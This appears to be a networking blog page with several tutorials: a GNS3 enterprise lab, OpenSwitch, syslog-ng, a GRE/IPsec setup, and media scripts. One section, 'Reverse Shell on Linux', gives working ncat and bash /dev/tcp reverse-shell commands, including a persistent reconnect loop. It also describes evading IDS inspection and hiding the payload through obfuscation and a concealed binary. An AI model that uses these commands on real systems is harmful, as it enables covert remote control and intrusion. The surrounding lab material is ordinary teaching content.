Several months ago I had created a simple GNS3 network topology for practicing my networking skills. What had firstly begun as a simple lab, later grew in to a real world enterprise network consisting of a campus, data center, DMZ network blocks and ISPs. During the next several weeks I added new devices into the topology, struggling with no time due to complicated family circumstances. In March 2017 I completely stopped working on this project. Luckily, I was done with the configuration of all devices and I wrote several articles describing my progress. Now, almost a half of the year later, I am ready to share my experience with the blog readers and publish the articles. Below is the list of the articles. I hope you find them useful.

Enterprise Network on GNS3 - Part 1 - Introduction
Enterprise Network on GNS3 - Part 2 - Access Layer
Enterprise Network on GNS3 - Part 3 - Distribution and Core Layers
Enterprise Network on GNS3 - Part 4 - Cisco ASAv-I
Enterprise Network on GNS3 - Part 5 - Data Center
Enterprise Network on GNS3 - Part 6 - Edge Router and ISPs
Enterprise Network on GNS3 - Part 7 - DMZ

The name of the enterprise is CompanyXYZ. The complete enterprise network topology is shown on the picture below. As I have mentioned, it composes of the campus network, data center (DC), DMZ and ISPs.

Picture 1 - Enterprise Network Running On Laptop with GNS3

The entire topology is virtualized, running on the ASUS K55VM laptop with the following hardware and software specification:

Host Hardware:
1. CPU: Intel(R) Core(TM) i7-3610QM CPU @ 2.30GHz
2. RAM: 16GB: 2x Kingston 8192 MB DDR3, speed 1600Mhz
3. Ethernet card: RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller

Host Software:
1. OS: Ubuntu 16.04.2 LTS Xenial
2. GNS3: version 1.5.3
3. QEMU emulator and KVM: version 2.8.0
4. Dynamips emulator: version 0.2.16

The enterprise campus network consists of the access, distribution and core layers. The data center is composed of the layer 3 Cisco switch and the server. The design of the DC is very simplified as the network tiers are squeezed to a single switch layer 3 switch. Unlike the campus network, the aim is to show configuration of the services running on the Server1 instead of discussing the complete DC design. The company edge router is connected to the Internet using two Internet Service Providers (ISPs). The Cisco ASA firewall connects a campus network, data Center and the edge router. The edge router connected DMZ to the rest of the enterprise network and to the Internet. The DMZ consists of the Cisco ASA firewall, layer 3 Cisco switch and the DMZ server. The enterprise is connected to the ISP1 and ISP2 routers via enterprise edge router. Both ISP routers  are bridged via GNS3 clouds to the laptop Ethernet Card RTL8168 (enp4s0f2) in order to simulate connection to the Internet.

Now we can spend few words about devices in enterprise network and software they are running .

Enterprise Campus Network
1. PC1 - PC4: Linux Core 6.3, kernel 3.16.6
2. Access switches: OpenSwitch 0.4.0 (Linux core-4.1-noarch:core-4.1-x86_64)
3. Distribution switches: Arista vEOS, version 4.17.2F
4. Core switches: Cisco vIOS l2 software, vios_l2-ADVENTERPRISEK9-M, version 15.2

Firewall ASAv-I: Cisco Adaptive Security Appliance Software Version 9.6(1)

Data Center:
1. Server: Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-92-generic x86_64)
2. Switch: Cisco vIOS l2 software, vios_l2-ADVENTERPRISEK9-M, version 15.2

Edge Router: Cisco IOSv software, VIOS-ADVENTERPRISEK9-M, version 15.6(2)T,

DMZ:
1. Firewall: Cisco Adaptive Security Appliance Software Version 9.6(1)
2. Switch: Cisco vIOS l2 Software, vios_l2-ADVENTERPRISEK9-M, version 15.2
3. Server: Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-92-generic x86_64)

ISPs: Cisco 7206VXR (NPE400), Cisco IOS Software, 7200 Software (C7200-ADVIPSERVICESK9-M), version 15.2(4)S4

Public IP Addresses Assignment
The company has assigned a block of the public IP addresses 195.1.1.0/24. This is the entire class C network. The first a half of the IP addresses range is used for NAT and the second half of the range is used for DMZ. Below is the complete list of  used subnets and their assignment.

195.1.1.0/25 - NAT
- 195.1.1.128/25 - DMZ
   195.1.1.128/32 - point-to-point connection - in use
   195.1.1.132/32 - point-to-point connection - in use
   195.1.1.136/32 - point-to-point connection - free
   195.1.1.140/32 - point-to-point connection - free
   195.1.1.144/32 - point-to-point connection - free
   195.1.1.148/32 - point-to-point connection - free
   195.1.1.152/32 - point-to-point connection - free
   195.1.1.156/32 - point-to-point connection - free
   195.1.1.160/29 - Vlan 10 - in use
   195.1.1.192/29 - free
   195.1.1.224/29 - free

Note: The router vIOS-EDGE-I has assigned a public IP address 198.10.10.2 from the ISP1 IP address range and the IP address 197.10.10.2 from ISP2 IP address range.

Private IP Addresses Assignment
Users connected to the ports of the access switches have their IP addresses assigned from the networks 192.168.10-40.0/24. Point-to-points links between Distribution and Core switches are configured with IP addresses from the subnets 10.0.0.0/24. Point-to-point links between ASAv-I, campus network and data center are configured with IP addresses from the subnet 172.16.0.0/24. The server Server1 is connected to the Cisco L3 switch vIOS-Ser-I in a DC and it has IP address assigned from the subnet 172.16.50.0/24. Loopback and management IP addresses are assigned from the subnet 10.1.1.0/24.

Users: 192.168.10-40.0/24
Distribution and core layer links: 10.0.0.0/24
ASAv-I, campus and data center links: 172.16.0.0/24
Server1 (DC): 17.16.50.0/24
Loopbacks: 10.1.1.0/24 and management

Services Provided by Servers
Servers Server1 in a DC and the SERV-DMZ-I in DMZ provide the following services.

1. DNS: Domain name resolution for network devices and workstations
2. DHCP: automatic IP address assigment for workstations
3. Syslog: logging for network devices
4. NTP: precise time for network devices
5. Radius: remote authentication for network devices (except DMZ and vIOS-EDGE-I)
6. Web: company WEB server for Internet users (only DMZ)

Interfaces Naming
Each network interface in the topology has assigned two interface names although the both names represent a single interface. The first name is assigned by GNS3 itself (e0, e1, e2 etc.). The second name is the interface name that is shown in the configuration of the device. For instance, the ASAv-I is connected with the vIOS-Core-II with the interface e1. However, the interface e1 is represented by the interface Gi0/0 in the ASA configuration.

Login Credentials
Below is the list of the changed usernames and passwords for all devices in the topology. The string before the slash represents a username and the string after the slash represents the password.

1. Local Credentials for Cisco and Arista Devices

Local User  - Level 1
admin/cisco

Local User -  Level 15
admin15/cisco15

Local Enable
cisco

2. Radius Credentials for Cisco and Arista Devices

Radius User - Level 1
raadmin/racisco

Radius User - Level 15
raadmin15/racisco15

Radius Enable
racisco

3. Local Credentials for Openswitch Appliance

netop/cisco
Linux: admin/cisco

4. Credentials for PC1 - PC4:   tc/tc

5. Credentials for Linux Ubuntu:  ubuntu/ubuntu

6. ISP1 and ISP2:  devices are not configured for authentication.

Bandwidth Limitation
Cisco ASAv is unlicensed so the traffic rate is limited to 100 kbps and maximum connection limit is set to 100. For this reason, connection to the Internet is limited to 100 kbps.

Configuration Files
OpenSwitch-Acc-IOpenSwitch-Acc-II vEOS-DIS-I,  vEOS-DIS-IIvIOS-Core-IvIOS-Core-IIvASA-I,  vIOS-Serv-IvIOS-EDGE-I, ISP1ISP2, ASAv-DMZ-I, vIOS-DMZ-I.

Issues
I noticed some mysterious issues while running the devices that I could not explain. Luckily, very often restarting a port for a particular device solved a problem. For instance, network traffic originated on ISP1 was sent to the Internet from the Gi0/0. However, the router ISP1 did not forward incoming data traffic to the Internet that entered the interface Gi0/1. In this case, restart of the port Gi0/0 on the ISP1 solved the issue. The other issue that I noticed was about 2% loss of the packets destined for the Internet when both ISP routers were running simultaneously. If the both routers were not needed to run at the same time, shutdown of the ISP2 router represented a workaround. As the last point, I recommend to use vIOS-l2 instead of the OpenSwitch appliances as I have spent hours troubleshooting OpenSwitch unexpected behavior. As I have mentioned, very often temporary shutdown of VLAN or VLAN interface solved a mystery.

 

Downloading YouTube Videos From Links Saved In Google Chrome Bookmarks

The Bash script youtube-bookmarks-mp3.sh is using Python youtube-dl script along with ffmpeg in order to download videos from YouTube service. It also enables youtube-dl to convert videos to mp3 audio format. The script exports YouTube links from Bookmarks and copy them into the file bookmarks.txt. Multiple videos are downloaded and converted simultaneously in the background by the script.

Note: According to YouTube Terms of Service, you shall not copy, reproduce, distribute, transmit, broadcast, display, sell, license, or otherwise exploit any Content for any other purposes without the prior written consent of YouTube or the respective licensors of the Content.

 

OpenSwitch Network Operating System

The Open Network Install Environment (ONIE) is an open source install environment that gives a switch user a choice to download ONIE compliant Network Operation System (NOS) to bare metal network switches. The OpenSwitch is community based, open source NOS that runs on hardware based on ONIE.

The goal of this article is to show how to build OpenSwitch Virtual Machine appliance, describe its capabilities and to introduce three methods for managing OpenSwitch. The OpenSwitch VM appliance was created by OpenSwitch project for training and testing purpose. It uses software data plane to forward the packets but it is not intended to be used as a virtual switch for connecting virtual machines. OpenSwitch supports many L2, L3 protocols such as STP, LACP, LLDP, OSPF, BGP, DHCP, TFTP, NTP, SSH, SNMP and others. These protocols run as separate daemons and they were integrated from another open-source projects.

For instance Quagga project provides L3 functionality to Openswitch. Quagga modules ops-ospf and ops-bgp update active routes in OpenvSwitch database (OVSDB). The module ops-zebra reads routes from OVSDB and install them to the kernel. Static routes are also stored in OVSDB, read by ops-zebra module and installed to the kernel. In order to use ASIC for fast-path routing, the module ops-vswitchd downloads a route from OVSDB and it install is to ASIC. ASIC uses the route, nexthop IP, next hop MAC and the egress port to route a packet. The pair neigbour IP address and MAC address is read from kernel neighbor table by a module ops-arpmgrd. If there is no entry, packets is sent to a kernel for ARP resolution and routed by the kernel. However the missing neighbor MAC address is added to ASIC and all other subsequent packets are routed by ASIC. The module ops-arpmgrd is also responsible for sending requests to kernel to refresh ARP entries for neighbors that have active data traffic.

The functionality of all OpenSwitch modules is very well documented on OpenSwitch website. The modules are stored in a directory /usr/sbin inside the OpenSwitch VM appliance.

OpenSwitch uses CLI similiar to Cisco IOS CLI. It makes configuration enough straightforward for a Cisco network engineer. They are also other two methods Web UI and Rest API that we can use for OpenSwitch management. I will describe them later.

1. Building OpenSwitch OVA Image From Sources

They are two ways how to obtain OpenSwitch OVA image. We can either clone OpenSwitch repository and compile OVA image from sources or we can donwnload image directly from OpenSwitch website.

In order to build OpenSwitch, we first need to install Linux OS. Linux can be installed on a virtual machine but assign enough CPU cores and RAM to the VM. Building the OpenSwitch from sources takes lots of resources so in order to shorten the time required for compilation, make your VM really powerful. I have assigned four CPU 4 cores and 4G RAM to the guest and compilation taken about 30 minutes.

Now we can install packages required for compilation.

$ sudo apt-get install python chrpath device-tree-compiler build-essential diffstat texinfo openssl libssl-dev

Clone the OpenSwitch development environment and build system.

$ git clone https://git.openswitch.net/openswitch/ops-build
$ cd ops-build

Compile sources with the following commands.

$ make configure appliance
$ make

Once compilation finishes, the OVA image should be ready in a directory ~/ops-build/images. Now download the final OVA image from the guest to the host machine with the command:

$ scp -rv ~/ops-build/images/openswitch-appliance-image-appliance.ova brezular@10.0.2.2:/home/brezular/

2. Downloading OVA Image

The OVA image can be found on OpenSwitch website but without the guarantee that the image is uploaded  there. Check the content one of the directories here. There should be a directory named appliance containing the OVA image. If not, try to search inside an another directory.

3. Runing OpenSwitch Virtual Appliance

Use Virtual Box to import a virtual machine. Navigate to File-> Import Appliance. If you prefer Qemu to Virtualbox just extract vmdk disk from OVA image with the command:

$ tar xvf openswitch-appliance-image-appliance.ova

Then you can start the virtual machine with the command below.

$ /usr/local/bin/qemu-system-x86_64 --enable-kvm -m 1024M -smp 2 OpenSwitch.vmdk

4. Users and Groups

By default they are three built-in roles ops-admin, ops-netop and none created for authenticated users. The roles ops-admin and ops-netop are represented by user groups with the same names. Users are assigned to the group based on their roles. For instance, members of the group ops-admin have no access to OpenSwitch shell - vtysh so they cannot configure OpenSwitch. However all the members of the group ops-admin can run sudo su command and eventually start vtysh shell. It is because there is a following line in the file /etc/sudoers.d/useradd.

%ops_admin ALL=(ALL) NOPASSWD: ALL

The group ops-admin is used for firmware upgrades, changing users' accounts (after sudo su command). User accounts assigned to the group ops-netop have access to vtysh shell and they are used for reading and writing from and to OpenSwitch configuration.

Below is the list of some default users created on OpenSwitch appliance assigned to the particular groups and having access to shells.

root - without password, /bin/bash
admin - without password assigned to ops-admin group, /bin/bash
netop - password netop assigned to ops-netop group, /usr/bin/vtysh

The user netop is a member of the groups ops-netop, ovsdb-client and ops-coredump. This user has access to vtysh shell and it is used for configuring OpenSwitch. If we want to create a new user account e.g. test for OpenSwitch configuration, we need to create it as following:

# /usr/sbin/useradd -g ops_netop -G ovsdb-client -s /usr/bin/vtysh test

The user test is now assigned to its primary group ops_netop and to the group ovsdb-client using the vtysh shell.

Note: The user root has no password set so it should be configured to allow an access to the system for authorized users only.

5. Web User Interface

The Web UI  provides  provides system, general and hardware information about OpenSwitch. It also provides status and utilization of the interfaces and displays their statistics. You can find there information about VLANs, logs and configuration of the Link Aggregation (LAG) and Equal-cost multi-path routing (ECMP). It also contains links to OpenSwitch Rest API and to quick guides about interfaces and LAG configuration.

Picture 1 - Web UI

The Web UI is using the REST API to authenticate the user and to retrieve a list of permissions accessible to the user. Use switch CLI to login as root with no password. Enable and start nginx and restd services.

systemctl enable nginx && systemctl start nginx
systemctl enable restd && systemctl start restd

If there is a DHCP server running in a network where OpenSwitch appliance is connected to, the switch should obtain the IP address from DHCP server on its eth0 interface. If not, you probably need to bridge the first switch interface to the network with DHCP server. Navigate to Machine-> Settings-> Network-> Adapter1 and bridge the interface. Then use web browser to login to the IP address of the eth0 interface as a user netop with the password netop.

6. Rest API

Using Rest API and HTTP methods such as GET, PUT, PATCH, POST we can get or store data from and to the OpenSwitch. First we will show how to log to the OpenSwitch using curl command.

Login to OpenSwitch with the IP address  assigned to a management interface with the username netop and password netop and save a cookie to the file mycookie. If there is no an error message, yur login is successful.

$ curl -c mycookie -X POST -k "https://172.17.100.7/rest/v1/login?username=netop&password=netop"

Check if the cookie is successfully stored with the command below.

$ more mycokie

Picture 2 - Saved Cookie

Now we can pull  information from OpenSwitch. For instance, list the available interfaces with the command:

$ curl -b mycookie -k https://172.17.100.7/rest/v1/system/interfaces/

Picture 3 - Available Interfaces

Similarly, we can pull information about configured VLANs. There is only default VLAN 1 created.

$ curl -b mycookie -k https://172.17.100.7/rest/v1/system/bridges/bridge_normal/vlans

Picture 4 - List of VLANs

 

Syslog-ng Configuration For Newbies

Some time ago I was asked by my friend to recommend a cost-free solution that he could use for storing logs of his security device over network. The Linux OS with installed syslog-ng is perfectly suitable for this job because it can collect logs from any source, process them in near real-time and deliver them to a wide variety of destinations. However it was challenge to explain all the steps in an easy manner as he was a total newbie in a Linux world. For this reason I wrote a basic installation and configuration manual for him which I share with you. The manual helps you to setup syslog-ng on Ubuntu server and troubleshoot the possible issues.

1. Install Ubuntu 16.04 Server Edition

During Ubuntu installation you are asked to provide the username/password and IP settings. Once an installation process finishes, the system is rebooted. when you get your console again, login and install updates with the command:

$ sudo su
# apt-get update
# apt-get upgrade

2. Install and Configure Syslog-ng

# apt-get install syslog-ng

First, you need to download a simple configuration file that I created for you.

# cd /etc/syslog-ng/conf.d
# wget http://brezular.com/wp-content/uploads/2016/12/firewals.conf_.txt -O firewals.conf
# service syslog-ng restart

3. Static IP Address Configuration

You probably need to configure a static IP address for the interface. Find the name of our Ethernet interface with the ifconfig command. Then edit the file /etc/network/interfaces with nano or vim editor and configure IP settings. Below is an example of static IP configuration for the interface ens3.

Picture 1 - Static IP Address Configuration

Restart a network service with a command:

# service networking restart

4. Troubleshooting

The Syslog-ng service should listen on all IP address and TCP and UDP port 514.

# netstat -tulpn | grep 514

Picture 2 - TCP/UDP Port 514 Opened by Syslog-ng Service

If you want the syslog-ng to listen on a particular IP address instead of all IP addresses, replace the IP address 0.0.0.0 with the desired IP address in the configuration file /etc/syslog-ng/conf.d/firewals.conf. You can also change the owner of the saved log files there. Do not forget to restart syslog-ng service after your changes in the config file.

Logs are placed to the directory /var/log/firewalls. Check a content of the directory with the command:

# ls -l /var/log/firewalls/
total 8
drwxr-x--- 3 ubuntu ubuntu 4096 Dec 8 20:16 192.168.0.1
drwxr-x--- 3 ubuntu ubuntu 4096 Dec 8 20:18 192.168.0.2

As you can see they are two directories 192.168.0.1 and 192.168.0.2 that were automatically created by syslog-ng based on the IP addresses of the devices we are collecting logs from. 

Picture 3 - Testing Topology

Our configuration file tells syslog-ng to create a directory structure based on the IP_of_device/year/month for each contributing device. For each day a log file is created inside the IP/year/month directory.  Let's inspect a log file of a router 192.168.0.1.

# cat /var/log/firewalls/192.168.0.11/2016/12/192.168.0.1-2016-12-08.log
Dec 8 20:16:45 192.168.0.1 : %SYS-5-CONFIG_I: Configured from console by console
Dec 8 21:14:21 192.168.0.1 : %SYS-5-CONFIG_I: Configured from console by console
Dec 8 21:15:33 192.168.0.1 : %LINK-5-CHANGED: Interface GigabitEthernet1/0, changed state to administratively down
Dec 8 21:15:34 192.168.0.1 : %LINEPROTO-5-UPDOWN: Line protocol on Interface GigabitEthernet1/0, changed state to down
Dec 8 21:17:28 192.168.0.1 : %SYS-5-CONFIG_I: Configured from console by console
Dec 8 21:22:32 192.168.0.1 : %LINK-3-UPDOWN: Interface GigabitEthernet1/0, changed state to up
Dec 8 21:22:34 192.168.0.1 : %LINEPROTO-5-UPDOWN: Line protocol on Interface GigabitEthernet1/0, changed state to up

5. Configuring Cisco Router for Sending Traps to Syslog-ng

These two commands configure a Cisco router for sending logs with a priority 5 (notification) to a syslog server with IP address 192.168.0.100.

R1(config)# logging trap notifications
R1(config)# logging host 192.168.0.100

 

Reverese Shell on Linux

Reverse shell is technique when a client connects to a server and the client provides its shell to the server. Clients is typically a host hidden behind the NAT or a firewall having an access to the server but not vice versa. Thanks to a reverse shell the server controls a client's shell having an access to the client's network even the client is hidden behind the NAT. They are several methods how to create a reverse shell used depending on software available on the client. I will show how to create a reverse shell using SSH, Ncat and Bash.

picture1-network_topology

Picture 1 - Network Topology

Picture 1 shows our testing topology. The client (Ubuntu Server 16.04) is located behind the NAT with the IP address 192.168.1.4/24. The server (Kubuntu 16.04) has assigned the IP address 172.17.100.7/16.

1. Reverse Shell Using SSH Reverse Tunnel

This method is based on the fact that the client has knowledge of the server SSH login credentials and vice versa. SSH server must be running on both the server and client. Client must be allowed to access server through firewall.

Client:
$ ssh -R 10000:127.0.0.1:22 brezular@172.17.100.7

10000 - remote port opend on the server
22 - clients's local port
brezular@172.17.100.7 - username and IP address of the server

Server:
First, check if port 10000 is open on server.

picture2-port_open_on_server

Picture 2 - TCP Port 10000 Opened on Server

Now we connect from the server to the client with the command:

$ ssh -p 10000 root@127.0.0.1

2. Reverse shell with Ncat using SSL encryption

In order to prevent IDS to inspect a content of network traffic we will use a version of Ncat that supports SSL. The netcat version provided by a Nmap package supports both SSL and IPv6.

$ ncat --version
Ncat: Version 7.01 ( https://nmap.org/ncat )

First, we will configure server to listen on all IP addresses and TCP port 10000.

Server:
$ ncat -l -k -v --ssl -p 10000

By default a TCP protocol is used. Only TCP Ncat mode supports SSL.
-l listen
-k accept multiple connections in listen mode
-v verbose mode
--ssl connect with SSL
-p port

Client:
$ ncat -e /bin/bash --ssl 172.17.100.7 10000

-e executes /bin/bash

Ncat is working great but in many cases it is not installed on the client. To provide a correct version of Ncat I have created a script runncat.sh that contains converted Ncat binary from the Nmap package to base64 and hexa strings that are stored in particular variables. The script extracts ncat to a file /tmp/.binary. Then it checks if there is an established session with the server 172.17.100.7. If no, it tries to connects to the server 172.17.100.7,  TCP port 10000. If connection is successful, session between client and server is established and script waits. If no connection is established, the script keeps to connect the server every 20 seconds.

3. Reverse Shell with Bash

Scripting languages can be used to create a reverse shell. I will show a reverse shell using Bash that is very common in Linux. Again, we start the Ncat on the server to listen on a port 10000.

$ ncat -l -k -v --ssl -p 10000

Client:
$ while true; do (/bin/bash -i > /dev/tcp/172.17.100.7/10000 0>&1 2>&1) > /dev/null 2>&1; [ "$?" == 1 ] && sleep 20; done

To hide our activity in the system we will slightly change a script written by Danielle Bellavista which obfuscates our Bash reverse shell command. The script obfuscator.sh creates a file payload in a actual directory. Then we just copy a file payload to the client, assign execute privileges to the file and run it on the client.

 

 

Bash Script for Converting Video To MP3 Audio

I like listening to video training on my smartphone while walking to work. To save the space on the memory card I convert videos to MP3 audio in advance. For this purpose I wrote a Bash script video_to_mp3.sh which helps me to manage a conversion job. The script uses ffmpeg for conversion and it creates parallel conversion tasks to speed up the conversion process. The script checks the CPU load and it creates a new background process only if the CPU load is under a particular limit entered by a user.

picture2_script_usage

Picture 1 - Script Usage

Below is the output from the conversion process.

picture1_script_usage

Picture 2 - Output From Conversion Process

The script creates a log file displaying info about the result of all conversion tasks. If the conversion fails for a particular video file, the script displays a return value of ffmpeg utility and the name of the file which is not successfully converted.

picture2_log_file_format

Picture 2 - Output from Log File

End.

 

GRE over IPSec Tunnel and NAT Between Cisco and VyOS

The goal of this tutorial is to provide a configuration for Cisco and VyOS network devices with configured PAT (Port Address Translation) that connect two remote sides A and B through point-to-point GRE tunnel encapsulated into a IPsec tunnel. In a previous tutorial we proved that GRE tunnels in conjunction with IPsec tunnels transmit multicast traffic while data integrity, authentication and confidentiality was in place. I also provided a simple configuration of GRE, IPsec tunnel and OSPF routing protocol on the Cisco and VyOS routers. In this tutorial I will go further and provide full configuration of  the all network devices including PAT and access-lists.  picture1_network_infrastructure

Picture 1 - Network Topology

Topology Description - Side A

Each side has a Layer 2 Cisco switch located in a LAN network. A switch connects hosts to its switchports. Each switchport is assigned to a particular VLAN. For instance, a host PC1 is connected to the switch SW1 and the switchport is assigned to a VLAN 100. Hosts in VLAN 100 (subnet 192.168.1.0/24) have guaranteed access to a remote subnet 192.168.2.0/24 via GRE/IPsec tunnel. A NAT access-list configured on a router R1 ensures that IP address of the host in VLAN 100 is not translated by PAT when a destination address is inside a range 192.168.2.0/24. However, if a destination address is not in a range 192.168.2.0/24, the PAT translates IP addresses of the hosts in VLAN 100 to a public IP address 1.1.1.10. For instance it happens when a user logged on the host  PC1 tries to connect to the router R3 located in the Internet.

Hosts assigned to VLAN 100 have blocked access to a VLAN 300 (192.168.3.0/24) because the VLAN 300 is reserved for guests. For this reason hosts assigned to the VLAN 300 have their access limited only to the Internet. The hosts assigned to the VLAN 100 have no access to the subnet 192.168.4.0/24 configured on a remote VyOS router. The reason is that the subnet 192.168.4.0/24 is hidden behind NAT  thus it is not reachable from the Internet.

Topology Description - Side B

The side A shares the similar connectivity principles with a side B. Hosts assigned to the VLAN 200 (192.168.2.0/24) can reach the hosts in a remote subnet 192.168.1.0/24 via GRE/IPsec tunnel. They can also reach the public addresses in the Internet. However in this case, their IP addresses from the subnet 192.168.2.0/24 are translated to a public IP address 2.2.2.10 by PAT. The VLAN 400 is where guests are connected. The hosts assigned to this VLAN have access only to the Internet and their IP addresses 192.168.4.0/24 are translated to an IP address 2.2.2.10. A detailed connectivity table for sides A and B is shown below.

chart1_connectivity_scheme

Tab 1 - Connectivity Between Subnets

1. Internet Configuration

1.1 Router R3 Configuration

The following commands configured on a router R3 make the router to act as our simulated Internet which connects two remote sides A and B.

2. Side A Configuration

2.1 Layer2 Switch SW1 Configuration

Configure an interface Gi0/0 as a trunk port with allowed VLANs 100 and 300. Configure appropriate VLANs on access interfaces Gi0/1 and Gi0/2 and set interfaces as access ports. The actual commands are here.

2.2 Hosts PC1 and PC3 Configuration

All hosts located in infrastructure are based on Core Linux which requires additional configuration in order to keep IP settings after restart. To make configuration easier for you I have created a BASH script assign_ip.sh that configures an IP address, subnet mask and default gateway for a particular host. Just copy and paste the script to the vim editor on each PC and run the script as a user root with the command:

$ sudo bash ./assign_ip.sh pcnumber

Replace a word pcnumber with a number:

PC1
$ sudo bash ./assign_ip.sh 1

PC3
$ sudo bash ./assign_ip.sh 3

2.3 Router R1 Configuration

2.3.1 Router R1 on the Stick and Default Route

This configuration provides routing between VLANs 100 and 300 and it creates a static default route to the Internet.

2.3.2 R1 - NAT

Here we configure sub-interfaces GigabitEthernet 1/.0.100 and 1/0.300 as the NAT inside interfaces and the interface GigabitEthernet 0/0 as the NAT outside interface. The PAT configuration consists of creating a named access-list PAT that permits a translation of a subnet 192.168.3.0/24 to any subnet and it denies a translation of the subnet 192.168.1.0/24 to the subnet 192.168.2.0/24. The subnet 192.168.1.0/24 will be translated to the public address 1.1.1.10 only if traffic is not destined for a remote IPsec subnet 192.168.2.0/24. The PAT access-list is applied on the interface GigabitEthernet 0/0.

2.3.3 R1 - ISAKMP - Phase 1

First we create isakmp policy and select encryption, the hash algorithm, type of authentication, Diffie-Hellman group and lifetime. Then we configure key the shared key and peer address.

2.3.4 R1 - IPSec - Phase 2

In phase two we are going to create  IPSec ipsec transform set MyTS and configure encryption and the hash algorithm. This is also a place where we define IPSec mode - either a tunnel (default) or transport mode. In the tunnel mode a completely new IP delivery header is inserted in each IPSec packet while in a transport mode IP header stays untouched (except of the changed protocol type - 50 for ESP). Continue with creating a new IPsec profile named Protect-GRE. Assign transform-set MyTS is to the profile Protect-GRE and configure the lifetime. And finally assign IPSec profile to the interface tun0.

2.3.5 R1 - GRE Tunnel

GRE tunnel configuration is here.

2.3.6 R1 - OSPF Routing Protocol

OSPF routing protocol is configured here. In order to prevent sending OSPF hello multicast messages to a LAN network we configure interfaces GigabitEthernet 1/0.100 and  1/0.300 as passive interfaces.

2.3.7 R1 - Access Lists

First we create an extended named access-list incoming_traffic_g0/0. The rule 10 permits UDP packets from source IP 2.2.2.10 to a destination IP address 1.1.1.10, the destination UDP port 500. This is a port that ISAKMP protocol uses. The rule 20 permits ESP packets from the IP address 2.2.2.10 to the IP address 1.1.1.10. The rules 10 and 20 are required by IPSec tunnel. The rule 30 permits icmp echo-reply traffic from any subnet to the IP address 1.1.1.10. We need this rule to allow our hosts behind NAT to ping hosts in the Internet. The rule 40 permits established TCP traffic from any host to the IP address 1.1.1.10.  This rule is needed in order to pass incoming established TCP traffic previously sent by our hosts behind NAT to the Internet. The rule 1000 blocks any other traffic. Finally, we will apply the access-list on the interface GigabitEthernet 0/0 in an incoming direction.

The extended access-list outgoing_traffic_tun0 permits outgoing traffic from the subnet 192.168.1.0/24 to the subnet 192.168.2.0/24 and it blocks any other traffic. The access-list is applied on the interface tun0. It ensures that only traffic from the subnet 192.168.1.0/24 destined for the subnet 192.168.2.0/24 is encapsulated into the GRE tunnel.

To prevent sending packets with private addresses 192.168.1.0/24 to the Internet when the IPsec tunnel fails, we need to create the access-list outgoing_traffic_gi0/0. The rule 10 ensures that any packets with source address from the subnet 192.168.1.0/24 leave the router R1. The access-list is configured in an outgoing direction on the interface GigabitEthernet0/0. The rule 1000 permits any other traffic.

The extended named access-list incoming_traffic_gi1/0.300 applied on the interface GigabitEthernet 1/0.300 for incoming packets prevents hosts on the subnet 192.168.3.0/24 to reach the hosts inside the subnet 192.168.1.0/24.

The extended named access-list incoming_traffic_gi1/0.100 applied on the interface GigabitEthernet 1/0.100 for incoming packets prevents hosts on the subnet 192.168.1.0/24 to to reach the hosts inside the subnet 192.168.3.0/24.

3. Side B Configuration

3.1 Layer 2 SW2 Configuration

The following commands configure a trunk port, access ports and VLANs on L2 switch SW2.

3.2 Hosts PC2 and PC4 Configuration

PC1
$ sudo bash ./assign_ip.sh 2

PC3
$ sudo bash ./assign_ip.sh 4

3.3 Router VyOS Configuration

3.3.1 Router VyOS on Stick and Default Static Route

First, we configure an IP address 2.2.2.10/24 on the interface eth0 and the particular IP addresses on the sub-interfaces eth1.200 and eth1.400. Then we create a default static route with the IP address 2.2.2.2 as a next hop.  The actual configuration is here.

3.3.2 VyOS - NAT

We will create a source NAT with the rule 5 that excludes translation of the packets sent from the IP subnet 192.168.2.0/24 to the subnet 192.168.1.0/24. The rule 10 translates the source IP addresses of packets from the subnet 192.168.4.0/24 to a public IP address 2.2.2.10. The IP address 2.2.2.10 is configured on the outbound interface eth0. The rule 15 translates IP addresses of hosts from the subnet 192.168.2.0/24 to the IP address 2.2.2.10 when they sent traffic to the Internet. NAT configuration is here.

3.3.3 VyOS IPSec Tunnel

Enable IPSec on interface eth0.

3.3.4 R1 IKE Group - Phase 1

Create the ike-group named cisco and  configure encryption, the hash algorithm, DH group and lifetime.

3.3.5 VyOS - ESP Group - Phase 2

Create the esp-group named cisco and configure encryption, the hash algorithm and lifetime. Configure tunnel peer and pre-shared key. Associate ike group cisco and esp group cisco with the peer 1.1.1.10. Configure a local address used for connection. And finally, configure GRE protocol that is going to be encapsulated inside IPSec tunnel.

3.3.6 VyOS - GRE Tunnel

Create a new route policy change_mss that changes TCP MSS (Maximum Segment Size) to 1360 bytes. Then we can create GRE tunnel.

3.3.7 OSPF Configuration

Here is OSPF routing protocol configuration on VyOS.

3.3.7 VyOS - Firewall Configuration

The firewall incoming_traffic consists of the rules 1, 5 and 10 with a configured default action drop. The rule 1 allows incoming established and related traffic generated by the hosts assigned to VLAN 200 and 400. The rule 5 accepts incoming packets from the IP address 1.1.1.10 to the IP address 2.2.2.10 and to the destination port UDP 500. This is the port a ISAKMP protocol uses. The rule 10 accepts incoming packets with esp protocol from the IP address 1.1.1.10 to the IP address 2.2.2.10. The firewall name incoming_traffic is applied on the interface eth0 for incoming traffic passing the firewall and traffic destined for firewall itself (keyword local).

The firewall outgoing_traffic_tun0 inspects outgoing traffic from the interface tun0. The rule 10 allows outgoing traffic  from the subnet 192.168.2.0/24 to the subnet 192.168.1.0/24. All other traffic is dropped.

The firewall outgoing_traffic_eth0 with the rule 10 applied on the interface eth0 in the outgoing direction prevents packets with source addresses 192.168.2.0/24 destined for the subnet 192.168.1.0/24 to leak to the Internet when the VPN tunnel fails.

The firewall incoming_traffic_eth1_400 with the rule 10 applied on the sub-interface eth1.400 in the incoming direction blocks traffic with source IP address from the subnet 192.168.4.0/24 to the subnet 192.168.2.0/24. Similarly, the firewall incoming_traffic_eth1_200 with the rule 10 applied on the sub-interface eth1.200 in the incoming direction blocks traffic with source IP address from the subnet 192.168.2.0/24 to the subnet 192.168.4.0/24.

End.